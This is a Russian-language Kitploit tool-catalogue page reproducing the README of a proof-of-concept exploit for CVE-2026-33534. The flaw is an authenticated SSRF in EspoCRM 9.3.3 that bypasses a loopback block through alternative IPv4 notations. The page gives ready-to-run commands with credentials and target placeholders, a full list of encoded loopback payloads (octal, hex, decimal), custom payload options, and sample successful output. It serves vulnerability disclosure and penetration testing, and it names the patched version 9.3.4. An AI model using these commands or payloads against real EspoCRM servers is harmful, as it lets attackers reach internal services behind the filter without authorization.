Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33534 — EspoCRM 9.3.3 — Аутентифицированный SSRF через альтернативную нотацию IPv4 | Kitploit
Инструменты/GitHubGitHub/entrovyx/cve-2026-33534
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubentrovyx/cve-2026-33534

CVE-2026-33534

EspoCRM 9.3.3 — Аутентифицированный SSRF через альтернативную нотацию IPv4

Репозиторий
34 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33534 - EspoCRM 9.3.3 Аутентифицированный SSRF

PoC-эксплойт для аутентифицированного SSRF в EspoCRM 9.3.3 через альтернативную запись IPv4 loopback-адреса в конечной точке /api/v1/Attachment/fromImageUrl.

Краткое описание

EspoCRM 9.3.3 блокирует прямые loopback-URL, такие как http://127.0.0.1/..., но серверный путь загрузки принимает альтернативные представления IPv4, которые cURL нормализует до loopback-адреса. Это позволяет аутентифицированному пользователю с доступом к соответствующему потоку загрузки вложений/изображений заставить сервер EspoCRM получать внутренние ресурсы.

Эксплойт сначала отправляет прямой контрольный запрос 127.0.0.1 и ожидает его блокировки с HTTP 403. Затем он проверяет несколько закодированных loopback-полезных нагрузок и сообщает, какие из них создали сохранённое вложение.

Затронутая версия

  • Уязвимая: EspoCRM 9.3.3
  • Исправленная: EspoCRM 9.3.4
  • Консультация: https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73
  • CVE: CVE-2026-33534
  • CWE: CWE-918

Требования

  • Python 3
  • requests
  • Действительные учётные данные EspoCRM
  • Разрешение на использование целевого поля изображения/вложения

Установка зависимости:

python3 -m pip install requests

Использование

Базовая локальная проверка экземпляра EspoCRM, работающего на порту 8083:

python3 CVE-2026-33534.py \
  -u http://127.0.0.1:8083 \
  -U admin \
  -P 'Admin12345!' \
  --internal-port 8083 \
  --cleanup

Проверка внутреннего сервиса на пользовательском порту и пути:

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --internal-port 9002 \
  --internal-path /interno.png \
  --cleanup

Использование только пользовательских полезных нагрузок:

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --no-default-payloads \
  --payload 0x7f000001 \
  --payload 2130706433

Стандартные полезные нагрузки

Эксплойт по умолчанию проверяет следующие представления loopback-хоста:

0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1

Поддерживаются пользовательские файлы полезных нагрузок. Каждая строка может быть либо:

host
label=host

Пример:

hex-dword=0x7f000001
decimal-dword=2130706433

Запуск с:

python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt

Параметры

-u, --url                 Базовый URL EspoCRM
-U, --username            Имя пользователя EspoCRM
-P, --password            Пароль EspoCRM
--internal-port           Внутренний loopback-порт для получения
--internal-path           Внутренний путь для получения
--payload                 Дополнительная запись loopback-хоста
--payload-file            Файл с одной полезной нагрузкой хоста в строке
--no-default-payloads     Использовать только пользовательские полезные нагрузки
--field                   Поле вложения, по умолчанию: avatar
--parent-type             Тип родительской сущности, по умолчанию: User
--parent-id               Необязательный идентификатор родительской сущности
--cleanup                 Удалить вложения, созданные успешными полезными нагрузками
--stop-on-first           Остановиться после первого успешного обхода
--insecure                Отключить проверку TLS-сертификата

Ожидаемый результат

Успешная эксплуатация показывает, что прямой loopback-контроль заблокирован, а одна или несколько закодированных полезных нагрузок приняты:

[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted             0177.0.0.1        HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword                0x7f000001        HTTP 200 id=... type=image/svg+xml size=4438

[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12

Примечания

  • PoC по умолчанию получает /client/img/logo-light.svg с собственного loopback-прослушивателя цели. Настройте --internal-port и --internal-path для другого внутреннего сервиса.
  • Поле по умолчанию — User.avatar; используйте --field, --parent-type и --parent-id, если тестируемая учётная запись требует другой контекст загрузки.
  • Используйте --cleanup во время тестирования для автоматического удаления созданных вложений.
Скачать инструмент